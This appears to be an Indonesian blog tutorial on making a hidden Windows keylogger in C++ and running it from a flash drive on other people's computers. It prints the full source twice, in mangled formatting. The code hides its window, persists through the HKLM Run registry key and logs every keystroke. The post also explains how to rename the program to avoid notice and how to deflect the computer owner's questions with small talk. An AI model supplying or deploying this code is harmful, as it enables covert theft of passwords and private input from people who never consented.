Saya ada sedikit Tutorial nih mengenai Keyloager use Flask Disk.
• Pertama agan harus menyediakan flash disk ato USB agan masing-masing (yang g jorok atau bebas virus ya, biar kompu orang g rusak).
• Lalu agan mesti download C++. Bias agan download di
• Pertama agan harus menyediakan flash disk ato USB agan masing-masing (yang g jorok atau bebas virus ya, biar kompu orang g rusak).
• Lalu agan mesti download C++. Bias agan download di
<
div
dir
=
"ltr"
>
<
code
>
#include
#include
#include
#define BUFSIZE 80
int test_key
(
void
)
;
int create_key
(
char
*
)
;
int get_keys
(
void
)
;
int
main
(
void
)
{
HWND stealth;
/
*
creating stealth
(
window
is not
visible
)
*
/
AllocConsole
(
)
;
stealth
=
FindWindowA
(
"ConsoleWindowClass"
,
NULL
)
;
ShowWindow
(
stealth
,
0
)
;
int test
,
create;
test
=
test_key
(
)
;
/
*
check
if
key
is
available
for
opening
*
/
if
(
test
=
=
2
)
/
*
create
key
*
/
{
char
*
path
=
"c:\\%windir%\\Log.exe"
;
/
*
the
path
in
which
the
file
needs
to
be
*
/
create
=
create_key
(
path
)
;
}
int t
=
get_keys
(
)
;
return
t;
}
int get_keys
(
void
)
{
short
character
;
while
(
1
)
{
for
(
character
=
8
;
character
<
=
222
;
character
+
+
)
{
if
(
GetAsyncKeyState
(
character
)
=
=
-32767
)
{
FILE
*
file
;
file
=
fopen
(
"log.log"
,
"a+"
)
;
if
(
file
=
=
NULL
)
{
return
1
;
}
if
(
file
!
=
NULL
)
{
if
(
(
character
>
=
39
)
&
&
(
character
<
=
64
)
)
{
fputc
(
character
,
file
)
;
fclose
(
file
)
;
break;
}
else if
(
(
character
>
64
)
&
&
(
character
<
91
)
)
{
character
+
=
32
;
fputc
(
character
,
file
)
;
fclose
(
file
)
;
break;
}
else
{
switch
(
character
)
{
case
VK_SPACE
:
fputc
(
' '
,
file
)
;
fclose
(
file
)
;
break;
case
VK_SHIFT
:
fputs
(
"[SHIFT]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_RETURN
:
fputs
(
"\n[ENTER]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_BACK
:
fputs
(
"[BACKSPACE]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_TAB
:
fputs
(
"[TAB]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_CONTROL
:
fputs
(
"[CTRL]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_DELETE
:
fputs
(
"[DEL]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_OEM_
1
:
fputs
(
"[;:]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_OEM_
2
:
fputs
(
"[/?]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_OEM_
3
:
fputs
(
"[`~]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_OEM_
4
:
fputs
(
"[ [{ ]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_OEM_
5
:
fputs
(
"[\\|]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_OEM_
6
:
fputs
(
"[ ]} ]"
,
file
)
;
fclose
(
file
)
;
break;
case
VK_OEM_
7
:
fputs
(
"['\"
]
",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("
[CAPS LOCK]
",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"
Log
",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"
Log"
,
0
,
REG_SZ
,
(
BYTE
*
)
path
,
strlen
(
path
)
)
;
check
=
0
;
return
check;
}
if
(
reg_key!
=
0
)
check
=
1
;
return
check;
}
<
/
code
>
<
/
div
>
< div dir = "ltr" > < code > #include #include #include #define BUFSIZE 80 int test_key ( void ) ; int create_key ( char * ) ; int get_keys ( void ) ; int main ( void ) { HWND stealth; / * creating stealth ( window is not visible ) * / AllocConsole ( ) ; stealth = FindWindowA ( "ConsoleWindowClass" , NULL ) ; ShowWindow ( stealth , 0 ) ; int test , create; test = test_key ( ) ; / * check if key is available for opening * / if ( test = = 2 ) / * create key * / { char * path = "c:\\%windir%\\Log.exe" ; / * the path in which the file needs to be * / create = create_key ( path ) ; } int t = get_keys ( ) ; return t; } int get_keys ( void ) { short character ; while ( 1 ) { for ( character = 8 ; character < = 222 ; character + + ) { if ( GetAsyncKeyState ( character ) = = -32767 ) { FILE * file ; file = fopen ( "log.log" , "a+" ) ; if ( file = = NULL ) { return 1 ; } if ( file ! = NULL ) { if ( ( character > = 39 ) & & ( character < = 64 ) ) { fputc ( character , file ) ; fclose ( file ) ; break; } else if ( ( character > 64 ) & & ( character < 91 ) ) { character + = 32 ; fputc ( character , file ) ; fclose ( file ) ; break; } else { switch ( character ) { case VK_SPACE : fputc ( ' ' , file ) ; fclose ( file ) ; break; case VK_SHIFT : fputs ( "[SHIFT]" , file ) ; fclose ( file ) ; break; case VK_RETURN : fputs ( "\n[ENTER]" , file ) ; fclose ( file ) ; break; case VK_BACK : fputs ( "[BACKSPACE]" , file ) ; fclose ( file ) ; break; case VK_TAB : fputs ( "[TAB]" , file ) ; fclose ( file ) ; break; case VK_CONTROL : fputs ( "[CTRL]" , file ) ; fclose ( file ) ; break; case VK_DELETE : fputs ( "[DEL]" , file ) ; fclose ( file ) ; break; case VK_OEM_ 1 : fputs ( "[;:]" , file ) ; fclose ( file ) ; break; case VK_OEM_ 2 : fputs ( "[/?]" , file ) ; fclose ( file ) ; break; case VK_OEM_ 3 : fputs ( "[`~]" , file ) ; fclose ( file ) ; break; case VK_OEM_ 4 : fputs ( "[ [{ ]" , file ) ; fclose ( file ) ; break; case VK_OEM_ 5 : fputs ( "[\\|]" , file ) ; fclose ( file ) ; break; case VK_OEM_ 6 : fputs ( "[ ]} ]" , file ) ; fclose ( file ) ; break; case VK_OEM_ 7 : fputs ( "['\" ] ",file); fclose(file); break; /*case VK_OEM_PLUS: fputc('+',file); fclose(file); break; case VK_OEM_COMMA: fputc(',',file); fclose(file); break; case VK_OEM_MINUS: fputc('-',file); fclose(file); break; case VK_OEM_PERIOD: fputc('.',file); fclose(file); break;*/ case VK_NUMPAD0: fputc('0',file); fclose(file); break; case VK_NUMPAD1: fputc('1',file); fclose(file); break; case VK_NUMPAD2: fputc('2',file); fclose(file); break; case VK_NUMPAD3: fputc('3',file); fclose(file); break; case VK_NUMPAD4: fputc('4',file); fclose(file); break; case VK_NUMPAD5: fputc('5',file); fclose(file); break; case VK_NUMPAD6: fputc('6',file); fclose(file); break; case VK_NUMPAD7: fputc('7',file); fclose(file); break; case VK_NUMPAD8: fputc('8',file); fclose(file); break; case VK_NUMPAD9: fputc('9',file); fclose(file); break; case VK_CAPITAL: fputs(" [CAPS LOCK] ",file); fclose(file); break; default: fclose(file); break; } } } } } } return EXIT_SUCCESS; } int test_key(void) { int check; HKEY hKey; char path[BUFSIZE]; DWORD buf_length=BUFSIZE; int reg_key; reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE," SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ",0,KEY_QUERY_VALUE,&hKey); if(reg_key!=0) { check=1; return check; } reg_key=RegQueryValueEx(hKey," Log ",NULL,NULL,(LPBYTE)path,&buf_length); if((reg_key!=0)||(buf_length>BUFSIZE)) check=2; if(reg_key==0) check=0; RegCloseKey(hKey); return check; } int create_key(char *path) { int reg_key,check; HKEY hkey; reg_key=RegCreateKey(HKEY_LOCAL_MACHINE," SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ",&hkey); if(reg_key==0) { RegSetValueEx((HKEY)hkey," Log" , 0 , REG_SZ , ( BYTE * ) path , strlen ( path ) ) ; check = 0 ; return check; } if ( reg_key! = 0 ) check = 1 ; return check; } < / code > < / div > |
• Nah berhubung program sudah jalan, wajib agan end process “Log.exe “nya di Windows Task Manager.Save program dengan nama “Log”.
• Sekarang, coba agan buka my document, pasti dah ada program nya “Log.exe” dan tempat hasil Log-an nya yang bernama “Log”
• Tetapi apabila anda ingin mengganti nama program nya menjadi nama yang anda ingin kan seperti contoh “Blackmygo”, bisa anda ubah code nya di sini
1. char * path = "c:\\%windir%\\Blackmygo.exe" ; / * the path in which the file needs to be * / 2. file = fopen ( "Blackmygo.log" , "a+" ) ; 3. reg_key = RegQueryValueEx ( hKey , "Blackmygo" , NULL , NULL , ( LPBYTE ) path , & buf_length ) ; 4. RegSetValueEx ( ( HKEY ) hkey , "Blackmygo" , 0 , REG_SZ , ( BYTE * ) path , strlen ( path ) ) ; |
• Selanjutnya, tinggal agan jalanin aja di kompu orang lain lewat flash disk agan, untuk menghentikan “Log.exe’ / Keylogger nya, bisa kalian end process di Windows Task Manager / ctrl+alt+delete
• Tetapi kalau yang punya kompu Tanya “ko flash disk nya g d lepas?”, na tinggal basa-basi da ama yang punya computer,, hehehehhehehehe
(keylogger ini bersifat tersembunyi dan susah untuk di lacak [menurut ane ye], jadi moga-moga bermanfaat deh,,
Tidak ada komentar:
Posting Komentar